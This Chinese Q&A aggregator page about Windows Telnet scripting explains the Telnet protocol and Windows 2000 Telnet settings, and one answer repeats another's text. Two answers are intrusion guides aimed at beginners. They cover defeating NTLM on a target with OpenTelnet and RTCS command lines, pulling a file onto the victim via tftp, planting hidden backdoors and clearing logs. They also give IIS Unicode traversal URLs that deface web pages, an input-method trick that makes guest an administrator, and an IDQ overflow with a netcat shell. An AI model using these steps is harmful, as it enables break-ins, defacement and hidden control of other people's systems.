当前位置:首页 » 编程软件 » windowstelnet脚本

windowstelnet脚本

发布时间: 2022-04-18 18:55:51

A. windows下,MFC 怎么能同时telnet多台linux,并发送执行脚本的命令

两个选择:

1、手工编写一个telnet命令和发送脚本的批处理;
2、用这个工具:SecureCRT

将写好的脚本,设定到TELNET连接地址中,也可以实现。

B. 关于telnet的

一 摘要

Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?

二 远程登录

Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。

1 远程登陆的基本概念

先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为'登录'。

远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。

2 远程登陆的产生及发展

我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。

那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?

举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将'Ctrl+C'解释为:'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件,'Ctrl+C'也有可能无法被传送到远地机器,如果客户机真的将'Ctrl+C'传到了远地机器,那么'Ctrl+C'这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显着的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。

3 远程登录的工作过程

使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程:

1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。

上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!

三 Telnet协议

我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?

1 基本内容

Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。

2 适应异构

为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。

为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:

对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;
对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。

3 传送远地命令

我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?

Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:

1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;

2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。

4 数据流向

上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:

数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。

5 强制命令

我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。

为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。

6 选项协商

由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。

Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。

Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。

四 Win2000的Telnet服务

其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。

1 基本配置

Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1

2 NTLM

提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678

2)身份验证选项=1时
=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别

3)身份验证选项=2时
=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>

\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫

所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:

1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)

基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:

OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>

五 在telnet中该做什么

本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。

1 查看系统信息

呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。

2 使用tftp传送文件

想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?

用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。

3 安置后门

安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。

后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:

1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。

六 结束语

文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏。

C. windows下用批处理telnet登录到linux执行shell脚本

实现不了的,因为telnet情况下输入用户名密码后就转边成了linux的终端,而不再是windows的命令提示符,所有批处理命令都不能被执行了,但是你的可以实现和你要求的差不多的
@echo off
set /p IP="请输入ip:"
telnet %IP% 22
批处理到这里就可以了,以为已经连接接下来的登陆操作linux会自动要求你输入用户名和密码
输入完毕当然也就是登陆了,直接./shell脚本加路径就执行了
和你的要求相比也就多了./path 哈哈

D. 如何远程调用windows上的批处理脚本

如果你想 在服务器上运行,服务器上的程序,就是终端。终端可以用telnet ssh等。
telnet服务器系统自带,ssh要在服务器上安装一个程序。
现在你就可以手动从本地 终端登陆服务器了。
要想让脚本自动登录,有命令swawn 和 expect 写脚本,当然这两个命令需要客户机环境支持。

E. 想手动添加telnet

Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1

2 NTLM

提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678

F. 如何用shell脚本实现自动telnet-snowtty-ChinaUnix博客

Shell脚本自动Telnet并执行远端机器的脚本

简单使用状况
[plain]
#!/bin/sh

(sleep 10;
echo "username";
sleep 10;
echo "password";
sleep 10;
echo "pwd";
sleep 50;
#echo exit
)|telnet $ip

这里只是连接到远端机器,查看一下当前所在的目录。
username/password 是telnet 到远端机器的用户名,密码
sleep 是一个等待时间,根据具体的机器状况或是执行命令的需要的时间来设置。

带变量使用
[plain]

G. 远程telnet写shell脚本,如何结束脚本编写

不要用 vi 编写脚本,用 echo >> 写脚本文件 ~~~ vi进去了很难出来的,你懂的
正如bat里用echo写vbs脚本然后执行一样。

H. ROS无法使用telnet操作,winbox下想添加脚本scripts的添加按钮灰色

由于网上很多朋友问我怎么入侵别人的机器,所以整理了一些我认为容易学的漏洞入侵方法,希望能给初学者一些帮助,下面讲的内容很简单,高手就不用浪费时间看了,:)

(1) UNICODE漏洞入侵
“Uicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。
第一步,运行RANGSCAN扫描器,会出现扫描窗口,在最上面有两个from的横框,这是让你填一段IP范围的。在第一个框里填入启始域(打个比方,比如你要扫192.168.0.1至192.168.0.255)那么你在第一个框里就填入192.168.0.1,在to 后面的框里填入192.168.0.255 意思就是扫192.168.0.0至192.168.0.255这段范围里有UNICODE漏洞的机器。接着在中间有一个添加的横框,是要填入内容的如:
/scripts/..%c0%af../winnt/system32/cmd.exe
这句话的意思是扫描有 %c0%af 漏洞的机器,对象一般是英文的WIN2000机。
我们把/scripts/..%c0%af../winnt/system32/cmd.exe填入框里,再按一下添加。再按“扫描”。就看到RANGSCAN开始扫了。这时就要看你选的IP范围有漏洞的机器多不多了,如果你选的IP范围好,呵,很快在扫描结果框里就会显示扫到的漏洞主机
如192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe
意思是192.168.0.111主机有 %c0%af 漏洞,
目标有了,我们马上打开浏览器。在网址栏里输入:
100.100.100.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 回车
意思是查看机器里C盘的根目录。一般情况下,我们都可以在浏览器里看到类似如:
Directory of c:\
2002-03-13 03:47p 289 default.asp
2002-02-11 03:47p 289 default.htm
2002-03-09 04:35p <DIR> Documents and Settings
2002-02-11 03:47p 289 index.asp
2002-02-11 03:47p 289 index.htm
2002-05-08 05:19a <DIR> Inetpub
2002-01-19 10:37p <DIR> MSSQL7
2002-03-09 04:22p <DIR> Program Files
2002-01-23 06:21p <DIR> WINNT
4 File(s) 1,156 bytes
5 Dir(s) 2,461,421,568 bytes free
------------------------------
的目录列表。也会碰到看不到文件的空目录。
好,我们成功看到了机器里的C盘了。
我们在浏览器里输入:
192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set 回车
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=ON
ComSpec=C:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=192.168.0.111
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_ID=1
LOCAL_ADDR=192.168.0.111
NUMBER_OF_PROCESSORS=1
Os2LibPath=C:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem;C:\MSSQL7\BINN
PATH_TRANSLATED=c:\inetpub\wwwroot
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Fa
-----------------
哈,我们看到了机器设置内容了,我们找找,主要看PATH_TRANSLATED=c:\inetpub\wwwroot
意思是他的主页存放在c:\inetpub\wwwroot的目录里,知道就好办了。
我们用命令:
192.168.0.111/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot回车
我们就可以看到c:\inetpub\wwwroot目录里的文件了,一般都有default.asp, default.htm , index.htm, index.asp,等等。我们以目录里有index.asp做例子。
我们先要做的是把文件的只读属性解除掉,很多管理员都把文件设置只读。
我们用命令:
192.168.0.111/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20c:\inetpub\wwwroot\index.asp 回车
当看到下面的英文
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
恭喜你,你可以改他的网页了。
----------------------------------------
但如果你看到下面的英文就不成功,只好换其他机器了。
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Access denied - C:\inetpub\wwwroot\index.asp
-----------------------------
继续。现在用ECHO改网页的内容。
100.100.100.111/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+网站有漏洞+> c:\inetpub\wwwroot\index.asp 回车
当看到
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
的提示,你已经改了他的网页了,呵呵,你想改成什么字也行。只要把命令中的中文换成你自己的中文就行了。

英文WIN2000
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
中文WIN2000
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c1%1c../winnt/system32/cmd.exe
WIN NT4
/scripts/..%c1%9c../winnt/system32/cmd.exe
英文WIN2000
/scripts/..%c0%af../winnt/system32/cmd.exe
通用代码:/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

(2) Windows2000输入法漏洞
先用端口扫描器扫描开放3389的机器,然后用终端客户端程序进行连接,用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条,在输入法状态条上按鼠标右键。选择“帮助” —— “输入法指南” —— “选项”。(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞。)按右键,选择“跳转到URL”,输入:c:\winnt\system32在该目录下找到“net.exe”,为“net.exe”创建一个快捷方式,右键点击该快捷方式,在“属性” —“目标”—c:\winnt\system32\net.exe 后面空一格,填入“user guest /active :yes”。 点击“确定”(目的是,利用“net.exe”激活被禁止使用的guest账户)运行该快捷方式。(此时你不会看到运行状态,但guest用户已被激活。)然后重复操作上面的,在 “属性” —— “目标”—— c:\winnt\system32\net.exe 后面空一格,填入localgroup administrators guest /add(这一步骤目的是,利用“net.exe”将guest变成系统管理员。)再次登录终端服务器,以“guest”身份进入,此时guest已是系统管理员,已具备一切可执行权及一切操作权限。现在,我们可以像操作本地主机一样,控制对方系统。
(3) idq溢出漏洞
要用到3个程序,一个Snake IIS IDQ 溢出程序GUI版本,一个扫描器,还有NC。
首先扫描一台有IDQ漏洞的机器,然后设置Snake IIS IDQ 溢出程序,在被攻击IP地址后面写上对方的IP.端口号一般不需要改动,软件的默认绑定CMD.EXE的端口是813.不改了.用默认的,左面选择操作系统类型,随便选一个,我们选IIS5 English Win2k Sp0吧,点击IDQ溢出~~OK~~出现发送Shellcode成功的提示了,然后我们用NC来连接。
进入MS-DOS。进入“nc”的目录。然后:nc --v IP 813
c:\>nc -vv IP 813
IP: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [IP] 813 (?): connection refused
sent 0, rcvd 0: NOTSOCK
c:\>

看来没成功. 别灰心,在来一次,换用IIS5 English Win2k Sp1试试。
